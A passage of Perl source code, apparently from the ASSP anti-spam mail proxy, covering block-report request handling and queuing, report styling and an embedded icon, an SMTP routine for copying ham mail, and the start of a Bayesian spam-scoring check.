                        $fname =~ s/\r?\n//go;
                        $fname = "$base/$fname";
                        $special =~ s/\r?\n//go;
                        $special ||= 0;
                        $resendfile{$fname} = $special if ! $resendfile{$fname};
                    }
                }
            }
            if ( $this->{rcpt} =~
                /^RSBM_(.+?)\Q$maillogExt\E$EmailBlockReportDomain\s*$/i )
            {
                my $rfile = $1;
                $rfile =~ s/x([0-9a-fA-F][0-9a-fA-F])X/pack('C',hex($1))/geo;
                $rfile = "$base/$rfile$maillogExt";
                $resendfile{$rfile} = 0;
                $sub .= ' resend ' if $sub !~ /resend/io;
            }
            if ( $sub =~ /\sresend\s/io or scalar( keys %resendfile ) ) {
                foreach my $rfile ( keys %resendfile ) {

#               mlog(0,"info: resend filename - $rfile on host - $host to $this->{mailfrom}");
                    if ( (!$host or ( lc($myName) eq lc($host) )) && $resendmail && $CanUseEMS) {
                        mlog( 0,"info: got resend blocked mail request from $this->{mailfrom} for $rfile")
                          if $ReportLog >= 2;
                        &BlockedMailResend( $fh, $rfile , $resendfile{$rfile});
                    }
                }
                mlog( 0,"error: got resend blocked mail request from $this->{mailfrom} without valid filename")
                  if ( !scalar( keys %resendfile ) && $ReportLog );
                if ( ! $forcelist ) {
                    BlockReportForwardRequest($fh,$host) if ( ! $this->{blqueued} && lc($myName) ne lc($host) );
                    stateReset($fh);
                    $this->{getline} = \&getline;
                    sendque( $this->{friend}, "RSET\r\n" );
                    eval('no BlockReport::modify;');
                    return;
                }
            }

            if ($forcelist) {
                my $body;
                my %lines = ();
                mlog( 0,"info: got blocked mail report for a user list from $this->{mailfrom}")
                  if $ReportLog >= 2;
                foreach my $part ( $email->parts ) {
                    my $mbody = decodeHTMLEntities( $part->body );
                    while ( $mbody =~
                        /(.*?)((\[?$EmailAdrRe|\*)\@($EmailDomainRe\]?|\*).*)/go )
                    {
                        my $line = $2;
                        $line =~ s/\r?\n//go;
                        $line =~ s/<[^\>]*>//go;
                        my ( $ad, $bd, $cd, $dd) = split( /\=\>/o, $line );
                        $ad =~ s/\s//go;
                        $bd =~ s/\s//go;
                        $cd =~ s/\s*(\d+).*/$1/o;
                        $dd =~ s/^\s*(.*?)\s*$/$1/o;
                        if ( $ad !~ /^(\[?$EmailAdrRe|\*)\@($EmailDomainRe\]?|\*)$/o ) {
                            mlog( 0,"warning: syntax error in $ad, entry was ignored")
                              if $ReportLog;
                            next;
                        }
                        if ( $bd && $bd !~ /^($EmailAdrRe\@$EmailDomainRe|\*)$/o )
                        {
                            mlog( 0,"warning: syntax error in =>$bd, entry was ignored")
                              if $ReportLog;
                            next;
                        }
                        eval{'a' =~ /$dd/i} if $dd;
                        if ( $@ )
                        {
                            mlog( 0,"warning: syntax error in =>$dd, entry was ignored - regex error $@")
                              if $ReportLog;
                            next;
                        }

                        $ad    = lc $ad;
                        $bd    = lc $bd;
                        ($cd)  = $sub =~ /^\s*(\d+)/o  unless $cd;
                        $cd    = 1 unless $cd;
                        $line = "$ad=>$bd=>$cd=>$dd";
                        $body .= "$line\r\n" if ( !exists $lines{$line} );
                        $lines{$line} = 1;
                    }
                }
                if (%lines) {
                    open( my $tmpfh, '<', \$body );
                    $Con{$tmpfh}->{mailfrom} = $this->{mailfrom};
                    BlockReportGen( '1', $tmpfh );
                    delete $Con{$tmpfh};
                }
                if ( !$this->{blqueued} ) {
                    BlockReportForwardRequest($fh,$host) if lc($myName) ne lc($host);
                    stateReset($fh);
                    $this->{getline} = \&getline;
                    sendque( $this->{friend}, "RSET\r\n" );
                }
                eval('no BlockReport::modify;');
                return;
            }

            if ( $sub =~ /^\s*[\-|\+]/o or $QueueUserBlockReports > 0 ) {
                &BlockReportStoreUserRequest( $this->{mailfrom}, $sub, $QueueUserBlockReports );
                if ( !$this->{blqueued} ) {
                    BlockReportForwardRequest($fh,$host) if lc($myName) ne lc($host);
                    stateReset($fh);
                    $this->{getline} = \&getline;
                    sendque( $this->{friend}, "RSET\r\n" );
                }
                eval('no BlockReport::modify;');
                return;
            }

            my ($numdays, $exceptRe) = $sub =~ /^\s*(\d+)\s*(.*)$/o;
            if ($exceptRe) {
                eval{'a' =~ /$exceptRe/i};
                if ($@) {
                    mlog(0,"error: regular expression error in blockreport request - $sub - $@");
                    $exceptRe = '';
                }
            }
            $numdays = 5 unless $numdays;
            my %user;
            &BlockReasonsGet( $fh, $numdays , \%user, $exceptRe);
            my @textreasons;
            my @htmlreasons;

            push( @textreasons, $user{sum}{textparthead} );
            push( @htmlreasons, $user{sum}{htmlparthead} );
            push( @htmlreasons, $user{sum}{htmlhead} );
            foreach  my $ad ( sort keys %user ) {
                next if ( $ad eq 'sum' );
                my $number = scalar @{ $user{$ad}{text} } + $user{$ad}{correct};
                $number = 0 if $number < 0;
                $number = 'no' unless $number;
                push(
                    @textreasons,
                    &BlockReportText('text', $ad, $numdays, $number, $this->{mailfrom})
                  );
                my $userhtml =
                  &BlockReportText( 'html', $ad, $numdays, $number,
                    $this->{mailfrom} );
                push( @htmlreasons,  BlockReportHTMLTextWrap(<<"EOT"));
<table id="report">
 <col /><col /><col />
 <tr>
  <th colspan="3" id="header">
   <img src=cid:1001 alt="powered by ASSP on $myName">
   $userhtml
  </th>
 </tr>
EOT
                while ( @{ $user{$ad}{text} } ) { push( @textreasons, shift @{ $user{$ad}{text} } ); }
                while ( @{ $user{$ad}{html} } ) { push( @htmlreasons, BlockReportHTMLTextWrap(shift @{ $user{$ad}{html} } )); }
            }
            if ( scalar( keys %user ) < 2 ) {
                push( @textreasons,"\nno blocked email found in the last $numdays day(s)\n\n");
                push( @htmlreasons,"\nno blocked email found in the last $numdays day(s)\n\n");
            }
            push( @textreasons, $user{sum}{text} );
            push( @htmlreasons, $user{sum}{html} );

            @textreasons = () if ( $BlockReportFormat == 2 );
            @htmlreasons = () if ( $BlockReportFormat == 1 );

            BlockReportSend(
                $fh,
                $this->{mailfrom},
                $this->{mailfrom},
                &BlockReportText(
                    'sub',    $this->{mailfrom},
                    $numdays, 'n/a',
                    $this->{mailfrom}
                  ),
                $BlModify->($user{sum}{mimehead}
                  . join( '', @textreasons )
                  . join( '', @htmlreasons )
                  . $user{sum}{mimebot})
              ) if ( $EmailBlockReply == 1 || $EmailBlockReply == 3 );

            BlockReportSend(
                $fh,
                $EmailBlockTo,
                $this->{mailfrom},
                &BlockReportText(
                    'sub',    $this->{mailfrom},
                    $numdays, 'n/a',
                    $EmailBlockTo
                  ),
                $BlModify->($user{sum}{mimehead}
                  . join( '', @textreasons )
                  . join( '', @htmlreasons )
                  . $user{sum}{mimebot})
              )
              if ( $EmailBlockTo
                && ( $EmailBlockReply == 2 || $EmailBlockReply == 3 ) );

            if ( !$this->{blqueued} ) {
                BlockReportForwardRequest($fh,$host) if lc($myName) ne lc($host);
                stateReset($fh);
                $this->{getline} = \&getline;
                sendque( $this->{friend}, "RSET\r\n" );
            }
        }
      };    # end eval
      if ($@) {
          mlog( 0,"error: unable to process blockreport - $@") if $ReportLog;
          BlockReportForwardRequest($fh,$host) if ( ! $this->{blqueued} && lc($myName) ne lc($host) );
          stateReset($fh);
          $this->{getline} = \&getline;
          sendque( $this->{friend}, "RSET\r\n" );
          eval('no BlockReport::modify;');
          return;
      }
      eval('no BlockReport::modify;');
}

sub BlockReportStoreUserRequest {
    my ( $from, $sub, $oldrequest ) = @_;
    my $request=$oldrequest;
    my $file = "$base/files/UserBlockReportQueue.txt";
    $file = "$base/files/UserBlockReportInstantQueue.txt" if $oldrequest>=3;

    $request=1 if $oldrequest>=3;
    my %lines = ();
    my ( $user, $to, $numdays, $nextrun, $comment, $exceptRe );
    my $reply;

    open my $f, '<',"$file";
    while (<$f>) {
        s/\r?\n//igo;
        s/\s*#(.*)//go;
        $comment = $1;
        next unless $_;
        ( $user, $to, $numdays , $exceptRe ) = split( /\=\>/o, $_ );
        next unless $user;
        $comment =~ /^\s*(next\srun\s*\:\s*\d+[\-|\.]\d+[\-|\.]\d+)/o;
        $nextrun               = $1 ? "# $1" : '';
        $user                  = lc($user);
        $numdays               = 5 unless $numdays;
        $lines{$user}{numdays} = $numdays;
        $lines{$user}{nextrun} = $nextrun;
        $lines{$user}{exceptRe} = $exceptRe;
    }
    close $f;
    $from = lc($from);
    $sub =~ /^\s*([\-|\+])*\s*(\d)\s*(.*)/o;
    my $how = $1;
    $numdays = $2 ? $2 : 5;
    $exceptRe = $3;
    if ( $how eq '-' ) {
        if (delete $lines{$from}) {
            mlog( 0, "info: removed entry for $from from block report queue" )
              if $ReportLog >= 2;
            $reply = "your entry $from was removed from the block report queue!\n";
        } else {
            $reply = "an entry $from was not found in the block report queue!\n";
        }
    } else {
        my $time = time;
        my $dayoffset = $time % ( 24 * 3600 );
        $nextrun = $time - $dayoffset + ( 24 * 3600 );
        my (
            $second,    $minute,    $hour,
            $day,       $month,     $yearOffset,
            $dayOfWeek, $dayOfYear, $daylightSavings
        ) = localtime($nextrun);
        my $year = 1900 + $yearOffset;
        $month++;
        $nextrun = "# next run: $year-$month-$day";
        $nextrun = '' if ( $request < 2 && $how ne '+' );

        if ($exceptRe) {
            eval{'a' =~ /$exceptRe/i};
            if ($@) {
                mlog(0,"error: regex error in blockreport request from $from - $sub - $@") if $ReportLog;
                $reply = "Your entry $from was not processed - bad regex found - $@ !\n";

                my $fh = int( rand(time) );    # a dummy $fh for a dummy $Con{$fh}
                $Con{$fh}->{mailfrom} = $from;
                BlockReportSend(
                    $fh,
                    $from,
                    $from,
                    &BlockReportText( 'sub', $from, $numdays, 'n/a', $from )
                      . " - Block Report Queue ",
                    $reply
                );
                delete $Con{$fh};
                return;
            }
        }

   		if ( exists $lines{$from} ) {
            $reply = "Your entry $from was updated in the block report queue!\n";
            mlog( 0, "info: updated entry for $from in block report queue" )
              if $oldrequest <3 && $ReportLog >= 2;
            mlog( 0, "info: updated entry for $from in block report instant queue" )
              if $oldrequest =3 && $ReportLog >= 2;
    	} else {
            $reply = "Your entry $from was added to the block report queue!\n";
            mlog( 0, "info: added entry for $from to block report queue" )
              if $oldrequest <3 && $ReportLog >= 2;
            mlog( 0, "info: added entry for $from to block report instant queue" )
              if $oldrequest =3 && $ReportLog >= 2;
    	}
        $lines{$from}{numdays} = $numdays;
        $lines{$from}{nextrun} = $nextrun;
        $lines{$from}{exceptRe} = $exceptRe;
    }
    my $time = time;
    open $f, '>',"$file";
    while ( !($f->opened) && time - $time < 10 ) { sleep 1; open $f, '>',"$file"; }
    if ($f->opened) {
        binmode $f;
        foreach my $line ( sort keys %lines ) {
            $lines{$line}{exceptRe} =~ s/^\s*(.*?)\s*$/$1/o;
            print $f $line . '=>'
              . $line . '=>'
              . $lines{$line}{numdays} . '=>'
              . $lines{$line}{exceptRe} . ' '
              . $lines{$line}{nextrun} . "\n";
        }
        close $f;
    } else {
        $reply =~ s/ was / was not /o;
        $reply .= " Internal write error, please contact your email admin!";
        mlog( 0,"error: unable to open $file for write within 10 seconds - entry for $from not updated" )
          if $ReportLog;
    }
    my $fh = int( rand(time) );    # a dummy $fh for a dummy $Con{$fh}
    $Con{$fh}->{mailfrom} = $from;
    BlockReportSend(
        $fh,
        $from,
        $from,
        &BlockReportText( 'sub', $from, $numdays, 'n/a', $from )
          . " - Block Report Queue ",
        $reply
    ) if $oldrequest < 3;
    delete $Con{$fh};
}


sub BlockReportText {
    my ( $what, $for, $numdays, $number, $from ) = @_;
    my $file = "$base/reports/blockreport_$what.txt";
    my $text;
    my %slines = ();
    my $f;
    my $section;
    $for  = lc($for);
    $from = lc($from);
    my ($domain) = $for =~ /$EmailAdrRe\@($EmailDomainRe)/o;

    return "report text file $file not found" unless ( open $f, '<',"$file" );
    while (<$f>) {
        next if /^\s*#/o;
        if (/^\s*<([^\/]+)>/o && !$section) {
            $section = lc($1);
        } elsif ( $section && /^\s*<\/$section>/i ) {
            $section = '';
        } elsif ($section) {
            s/REPORTDAYS/$numdays/go;
            s/ASSPNAME/$myName/go;
            s/EMAILADDRESS/$for/go;
            s/NUMBER/$number/go;
            $slines{$section} .= $_;
        }
    }
    close $f;

    $text .= $slines{'all'} if $slines{'all'};
    if (   matchSL( $from, 'EmailAdmins', 1 )
        or lc($from) eq lc($EmailAdminReportsTo)
        or lc($from) eq lc($EmailBlockTo) )
    {
        $text .= $slines{'admins'} if $slines{'admins'};
    } else {
        $text .= $slines{'users'} if $slines{'users'};
    }

    if ( $slines{$for} ) {
        $text .= $slines{$for};
    } elsif ( $slines{$domain} or $slines{ '@' . $domain } ) {
        $text .= $slines{$domain};
        $text .= $slines{ '@' . $domain };
    }

    return $text;
}

sub BlockReportGetCSS {
    if (open my $F , '<', "$base/images/blockreport.css") {
        binmode $F;
        my @css = <$F>;
        close $F;
        @css = map {s/\/\*.*?\*\///so; s/^\s*\r?\n//o; $_;} @css;
        return '<style type="text/css">' . "\n" . join('',@css). "\n" . '</style>';
    } else {
        mlog(0,"warning: BlockReport - unable to open file '$base/images/blockreport.css' - using internal css");
        my $ret = <<'EOF';
<style type="text/css">
/* the general layout of the Block Report */
a {color:#06c;}
a:hover {text-decoration:none;}
#report {font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#333;}
#report table {width:700px; border:0; border-spacing:0; padding:0; table-layout:fixed;}

/* the layout of the header with the image and the text from blockreport_html.txt */
#header {
 background:#4398c6;
 color:#fff;
 font-weight:normal;
 text-align:left;
 border-bottom:1px;
 solid #369;
 white-space: pre-wrap; /* css-3 */
 white-space: -moz-pre-wrap !important; /* Mozilla, since 1999 */
 white-space: -pre-wrap; /* Opera 4-6 */
 white-space: -o-pre-wrap; /* Opera 7 */
 word-wrap: break-word; /* Internet Explorer 5.5+ */
}
/* #header table {width:"100%"; border:0; border-spacing:0; padding:0; table-layout:fixed;} */
/* #header th {background:#4398c6; font-weight:normal; text-shadow:0 1px 0 #0C6FA5;} */
#header strong.title {font-size:16px;}
#header img {width:200px; height:75px; border:0; float:left;}

/* the general column definition */
#report td {
 padding:7px;
 background:#f9f9f9;
 border-top:1px solid #fff;
 border-bottom:1px solid #eee;
 line-height:18px;
}

/* the odd column definition (other color) */
#report tr.odd td {
 background:#e0ebf7;
 border-top:1px solid #fff;
 border-bottom:1px solid #c6dcf2;
}

/* the left resend link column */
#report td.leftlink {width: 30px;}

/* the middle column */
#report td.inner {
 width: 630px;
 white-space: pre-wrap; /* css-3 */
 white-space: -moz-pre-wrap !important; /* Mozilla, since 1999 */
 white-space: -pre-wrap; /* Opera 4-6 */
 white-space: -o-pre-wrap; /* Opera 7 */
 word-wrap: break-word; /* Internet Explorer 5.5+ */
}

/* the right resend link column */
#report td.rightlink {width: 30px;}

/* the title view on hover */
#report td.title {padding:5px; line-height:16px;}
#report td.title strong {font-size:15px;text-shadow:0 1px 0 #0C6FA5;}

/* the date link to open the mail in the browser */
span.date {background:#ddd; padding:1px 2px; color:#555;}
span.date a {color:#333;text-decoration:none;}
span.date a:hover {color:#06c; text-decoration:underline;}

/* the IP link to open the mail in the browser */
span.ip {background:#ddd; padding:1px 2px; color:#555;}
span.ip a {color:#333;text-decoration:none;}
span.ip a:hover {color:#06c; text-decoration:underline;}

/* the 'spam reason'*/
span.spam {color:#b00;}

/* the from and reply to lines*/
span.addr {font-size:10px;text-shadow:0 1px 0 #0C6FA5;}

/* the 'add to whitelist' link */
a.reqlink {color:#06c; font-size:11px;}
a.reqlink img {float:left; margin-right:3px; width:16px; height:16px; border:0;}
</style>
EOF

        $ret =~ s/\/\*.*?\*\///sgo;
        $ret =~ s/(?:\s*\r?\n)/\n/sgo;
        return $ret;
    }
}

sub BlockReportGetImage {
    my $file = shift;
    if ($file =~ /icon/io) {
        -r "$base/images/$file" or
        (mlog(0," BlockReport - unable to open file '$base/images/$file' - using internal image") and return <<'EOT');
R0lGODlhEAAQAPedAEShzke540jB6kfB6ki950SdykWv20a030jB63TR8Uav20e96EecyX+52EWr
1kWl0ky24Eaiz0Odytno8qvQ5d/t9cTo9t/s9EfB68/t+EidyUqcyE/F7kfA6tjp8+Hs9E2l0E7G
7azb78nl8kqw3NXm8Vu02mm63aPW7J7L4kecyL/b64DR7aPY7oTM6YC52ePt9XPR8eXu9fD0+bri
87XV5+Xy+bjg8bjX6brg8ZTD3Uaw27Lf8XLR8Nzq81ulzbHh81aiy3LF5abO5FPC6J/Z77vk9Lbl
9nm42ZHJ43rF5Fylzdjo8VTI7lK54Y7Z88zi73LF5nnE5Ee443TR8Nro8nK32VWx2Xm93l2q0a/S
5kqk0N7r803F7VPF60q/6IXP62q225/d8nnB4fP2+dvp8kOayNvv+Onw9mSp0KLR53jK6vX3+ke+
53/K6NLm8bHj9n3N6lSx2UabyaDM47je78Dc7Euk0HrL6lqkza7a7YW72bni8m2/4cbk8rzY6WvG
6Emw3Pf4+sTe7XzU8nLM7Ei+53TS8HG32dvr86PT6aLP5cPe7X2310u75LDe8XnI59/r86rR5mqu
06HP5U6gy7Te8Ee953TS8UWq1kSl0kOYxk/G7vn5+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAJ0ALAAAAAAQABAA
AAjyADMQ6nEoAaaDCBNQiYEJzpEmXThJnCiRA6cQnJ5Y8IIBwQABHz8K6OARgRgbRlgQabOAgEtD
lxZ8KQTkTBFAPPiAcRRgSoCfax7RiIOnxYEDQkTkcOEEQhRLN9xAOAAJhYEdBkj00TPCTx0lgRQY
UCBFUSYHmdI6uGIik5wTaTONUaPpQV1NePGGqZAEL5ZFAAIHjrAFxB1EiTxQimAlhQQJBSLTYTRo
xRsoWexIQoKj0hwGKhiUGNLgRYNJZjRQuMCGC5MJE8qgSbOptu1NNTrp3j2jUZ4fS4LU3iNj925B
MHxE+vBngw4yxqPvrqJld0AAOw==
EOT
    } else {
        -r "$base/images/$file" or $file = 'logo.gif';
    }
    if (open my $F , '<', "$base/images/$file") {
        binmode $F;
        my @img = <$F>;
        close $F;
        return MIME::Base64::encode_base64( join('',@img) );
    } else {
        mlog(0,"warning: BlockReport - unable to open file '$base/images/$file' - no image available");
        return;
    }
}

################################################################################


sub ccMail {
    my($fh,$from,$to,$bod,$sub,$rcpt)=@_;
    my $this=$Con{$fh};
    my $msgtime = $this->{msgtime};
    return if $this->{hamcopydone};
    $this->{hamcopydone} = 1;
    return if !$sendHamInbound && !$sendHamOutbound;
    my $s;
    my $AVa;
    $from = batv_remove_tag(0,$from,'');
    return if !$sendHamInbound && !$sendHamOutbound;
    if ($sendHamInbound && localmail($to) && (!$ccHamFilter || allSL($rcpt,$from,'ccHamFilter'))  && ! allSL($rcpt,$from,'ccnHamFilter')) {
        $to=$sendHamInbound;
    } elsif ($sendHamOutbound  && (!$ccHamFilter || allSL($rcpt,$from,'ccHamFilter'))  && ! allSL($rcpt,$from,'ccnHamFilter')) {
        $to=$sendHamOutbound;
   
    } else {
        return;
    }

    #return if($sub!~/Received/io);

    $rcpt =~/($EmailAdrRe)\@($EmailDomainRe)/o;
    my ($current_username,$current_domain) = ($1,$2);
    my $cchamlt = $to;
    $cchamlt =~ s/USERNAME/$current_username/go;
    $cchamlt =~ s/DOMAIN/$current_domain/go;

    if ($ccMailReplaceRecpt && $ReplaceRecpt) {
          my $newcchamlt = RcptReplace($cchamlt,$from,'RecRepRegex');
          if (lc $newcchamlt ne lc $cchamlt) {
              $cchamlt = $newcchamlt;
              mlog($fh,"info: ccMail recipient $cchamlt replaced with $newcchamlt");
          }
    }

    my $destination;
    if ($sendAllHamDestination ne '') {
        $destination = $sendAllHamDestination;
    } elsif ($sendAllDestination ne '') {
        $destination = $sendAllDestination;
    } else {
        $destination = $smtpDestination;
    }
    $AVa = 0;
    foreach my $destinationA (split(/\|/o, $destination)) {
        if ($destinationA =~ /^(_*INBOUND_*:)?(\d+)$/o){
            $destinationA = '127.0.0.1:'.$2;
        }
        
        $destinationA=~ s/\[::1\]/127\.0\.0\.1/ ;
		$destinationA=~ s/localhost/127\.0\.0\.1/i ;
		
        if ($AVa<1) {
            $s = $CanUseIOSocketINET6
                 ? IO::Socket::INET6->new(Proto=>'tcp',PeerAddr=>$destinationA,Timeout=>2,&getDestSockDom($destinationA))
                 : IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$destinationA,Timeout=>2);
            if($s) {
                $AVa=1;
                $destination=$destinationA;
            }
            else {
                mlog(0,"*** $destinationA didn't work, trying others...") if $SessionLog;
            }
        }

    }
    if(! $s) {
        mlog(0,"couldn't create server socket to $destination -- aborting  connection ccmail");
        return;
    }
    addfh($s,\&CChelo);
    $this=$Con{$s};
    $this->{to}=$cchamlt;
    $this->{from}=$from;
	$this->{msgtime} = $msgtime;
    local $/="\n";

    $this->{subject}= ref $sub ? $$sub : $sub;
    $this->{subject}=~s/\r?\n?//go;
    undef $/;

    $this->{body} = ref $bod ? $$bod : $bod;
    $this->{body} =~ s/\r?\n/\r\n/gos;
    $this->{body} =~ s/[\r\n\.]$//o;
}

sub CChelo { my ($fh,$l)=@_;
    if($l=~/^ *220 /o) {
        sendque($fh,"HELO $myName\r\n");
        $Con{$fh}->{getline}=\&CCfrom;
    } elsif ($l=~/^ *220-/o){
    } else {
        CCabort($fh,"helo Expected 220, got: $l (from:$Con{$fh}->{from} to:$Con{$fh}->{to})");
    }
}
sub CCfrom { my ($fh,$l)=@_;
    if($l=~/^ *250 /o) {
        sendque($fh,"MAIL FROM: ".($Con{$fh}->{from}=~/(<[^<>]+>)/o ?$1:"<$Con{$fh}->{from}>")."\r\n");
        $Con{$fh}->{getline}=\&CCrcpt;
    } elsif ($l=~/^ *250-/o) {
    } else {
        CCabort($fh,"HELO send, Expected 250, got: $l (from:$Con{$fh}->{from} to:$Con{$fh}->{to})");
    }
}
sub CCrcpt { my ($fh,$l)=@_;
    if($l!~/^ *250/o) {
        CCabort($fh,"MAIL FROM send, Expected 250, got: $l (from:$Con{$fh}->{from} to:$Con{$fh}->{to})");
    } else {
        sendque($fh,"RCPT TO: <$Con{$fh}->{to}>\r\n");
        $Con{$fh}->{getline}=\&CCdata;
    }
}
sub CCdata { my ($fh,$l)=@_;
    if($l!~/^ *250/o) {
        CCabort($fh,"RCPT TO send, Expected 250, got: $l (from:$Con{$fh}->{from} to:$Con{$fh}->{to})");
    } else {
        sendque($fh,"DATA\r\n");
        $Con{$fh}->{getline}=\&CCdata2;
    }
}
sub CCdata2 { my ($fh,$l)=@_;
    my $this=$Con{$fh};
    if($l!~/^ *354/o) {
        CCabort($fh,"DATA send, Expected 354, got: $l");
    } else {
        $this->{body} =~ s/(?:ReturnReceipt|Return-Receipt-To|Disposition-Notification-To):$HeaderValueRe//gios
            if ($removeDispositionNotification);
        sendque($fh,$this->{body}) if $this->{body};
        sendque($fh,"\r\n.\r\n");
        mlog($fh,"info: message copied to $this->{to}") if $ConnectionLog >= 2;
        $Con{$fh}->{getline}=\&CCquit;
    }
}
sub CCquit { my ($fh,$l)=@_;
    if($l!~/^ *250/o) {
        CCabort($fh,"\\r\\n.\\r\\n send, Expected 250, got: $l");
    } else {
        sendque($fh,"QUIT\r\n");
        $Con{$fh}->{getline}=\&CCdone;
        $Con{$fh}->{type} = 'C';          # start timeout watching for case 221/421 will not be send
        $Con{$fh}->{timelast} = time;
        $Con{$fh}->{nodelay} = 1;
    }
}
sub CCdone { my ($fh,$l)=@_;
    if($l!~/^ *[24]21/o) {
        CCabort($fh,"QUIT send, Expected 221 or 421, got: $l");
    } else {
        done2($fh); # close and delete
    }
}
sub CCabort {mlog(0,"Copy Spam/Ham:CCabort: $_[1]"); done2($_[0]);}

################################################################################
#                SPAM Detection
# check if the message is spam, based on Bayesian factors in $Spamdb
################################################################################
sub BayesOK {
    my ( $fh, $msg, $ip ) = @_;
    my $this = $Con{$fh};
    return 1 if !$DoBayesian;
    return 1 if !$spamdb ;
    return 1 if $this->{notspamtag};
    if (!-e "$base/$spamdb") {
    	if (-e "$base/$spamdb.bak") {
    		 copy("$base/$spamdb.bak","$base/$spamdb");
    	}   
    } 
	my ($bd,$ok);
    $ip = $this->{cip} if $this->{ispip} && $this->{cip};
    my $m = ref($msg) ? $$msg : $msg;

    return 1 if $this->{whitelisted} && !$BayesWL;
    return 1 if $this->{noprocessing} && !$BayesNP;
    return 1 if $this->{relayok} && !$BayesLocal;

    
	my $stime = time;
    my $itime;
    
    $this->{prepend} = "[Bayesian]";
    my ($bd,$ok);
    if ($this->{clean}) {
        ($bd,$ok) = ($this->{clean}, 1);
        delete $this->{clean};
    }
    if (! $bd) {
        eval {
          local $SIG{ALRM} = sub { die "__alarm__\n" };
          alarm($BayesMaxProcessTime + 60);
          ($bd,$ok) = &clean($msg);
          alarm(0);
        };
        if ($@) {
            alarm(0);
            if ( $@ =~ /__alarm__/o ) {
                my $itime = time - $stime;
                mlog( $fh, "BayesOK: timed out after $itime secs.", 1 );
            } else {
                mlog( $fh, "BayesOK: failed: $@", 1 );
            }
        }
        unless ($ok) {
            mlog($fh,"info: Bayesian-Process-Timeout ($BayesMaxProcessTime s) is reached - Bayesian Check will only be done on mail header") if ($BayesianLog && time-$stime > $BayesMaxProcessTime);
            my $itime=time-$stime;
            mlog($fh,"info: Bayesian-Check-Conversion has taken $itime seconds") if $BayesianLog >= 2;
            return 1;
        }
    }

    $this->{clean} = $bd;

    $ip = $this->{cip} if $this->{ispip} && $this->{cip};




    my $mDoBayesian = $DoBayesian;
	$this->{testmode} = "";
    $this->{testmode} = "baysTestMode" if $baysTestMode;

	my $yeslocalbayesian;
	$yeslocalbayesian = $this->{relayok} && matchSL($this->{mailfrom},'yesBayesian_local');
    if ($this->{relayok} && !$yeslocalbayesian && $noBayesian_local && matchSL($this->{mailfrom},'noBayesian_local')) {
        mlog($fh,"Bayesian Check skipped for local sender") if $BayesianLog>=2;

        $this->{spamprob}=0;
        return 1;
    }
    if (   $this->{nobayesian}
        || $noBayesian && matchSL( $this->{mailfrom}, 'noBayesian' ) )
    {
        mlog( $fh, "Bayesian Check skipped for $this->{mailfrom} " )
          if $BayesianLog >= 2;
        return 1;
    }
    if (
          !$this->{bayesianspamlover}
        && $baysSpamLoversRe
        && $baysSpamLoversReRE != ""
        && $bd =~ ( '(' . $baysSpamLoversReRE . ')' )
      )
    {
        mlogRe( $fh, $1, "Bayesian-SpamLover" );
        $this->{bayesianspamlover} = 1;
    }

    my $tlit = tlit($mDoBayesian);

    $this->{prepend} = "[Bayesian]";


    my $myip = ipNetwork( $ip, $PenaltyUseNetblocks );
    d('BayesOK');
    my $ipnet = ipNetwork($ip, 1);
    my ( $v, $lt, $t, %seen );
    my @t;my @t2;

   	push(@t, 0.97) if $this->{maximumuniqueuri};
    push(@t, 0.97) if $this->{maximumuri};
   	push(@t, 0.97) if $this->{obfuscatedip};
    push(@t, 0.97) if $this->{obfuscateduri};
    push(@t, 0.97) if $this->{rblneutral};
    push(@t2, 0.97) if $this->{rblneutral};
    
    $v = GRIPv( $ip );
    d("gl=$v <$Griplist{$ipnet}>");
    push( @t, $v ) if $v;
    push( @t, $v ) if $v;
    push( @t2, $v ) if $v;
	push( @t2, $v ) if $v;
	
    while ( $bd =~ /([-\$A-Za-z0-9\'\.!\240-\377]+)/g ) {
        next if length($1) > 20;
        next if length($1) < 2;
        $lt = $t;
  
        $t  = BayesWordClean($1);

        my $j = "$lt $t";
        my ($v1,$v2);
        my $count;
        next if $seen{$j}++ > 1;    # first two occurances are significant

        push( @t, $v ) if ($v = $Starterdb{$j}) or ($v = $Spamdb{$j}) ;
		
    }
	
    @t=sort {abs($main::b-.5)<=>abs($main::a-.5)} @t;
    @t=@t[0..($maxBayesValues - 1)];
    (my $p1, my $p2, my $c1, $this->{spamprob}, $this->{spamconf}) = BayesHMMProb(\@t);

	my $valence;
	if ($this->{spamprob}>=(1-$baysProbability))  {
        $valence = ($this->{relayok}) ? $bayslocalValencePB : $baysValencePB;
        $valence = int($valence * $this->{spamprob});
		$valence = $valence/2 if $this->{spamprob} < $baysProbability && $this->{spamprob} > (1-$baysProbability);
#        $valence += $baysconfidenceValencePB if $baysConf && $this->{spamconf}>$baysConf;

    }
    $tlit = "[scoring:$valence]" if $mDoBayesian != 2 && $valence;
    if ($baysConf>0) {
        mlog($fh, sprintf("Bayesian Check $tlit - Prob: %.5f / Confidence: %.5f => %s.%s", $this->{spamprob}, $this->{spamconf}, $this->{spamconf}<$baysConf?"doubtful":"confident", ($this->{spamprob}<$baysProbability)?"ham":"spam"),1) if $BayesianLog || $DoBayesian>=2;
        $this->{bayeslowconf}=1 if ($this->{spamprob}>=$baysProbability && $this->{spamconf}<$baysConf );
    } else {
        mlog($fh, sprintf("Bayesian Check $tlit - Prob: %.5f => %s", $this->{spamprob}, ($this->{spamprob}<$baysProbability)?"ham":"spam"),1) if $BayesianLog || $mDoBayesian>=2;
    }
    
	
    return 1 if $mDoBayesian==2;
    $this->{messagereason}=sprintf("Bayesian Probability: %.5f", $this->{spamprob});
	
   	pbAdd($fh,$this->{ip},$valence,"BayesianProbability") if $valence > 0 && $fh;
   	$this->{messagereason}=sprintf("Bayesian Confidence: %.5f", $this->{spamconf}) if $baysConf && $this->{spamconf}>=$baysConf && $fh;
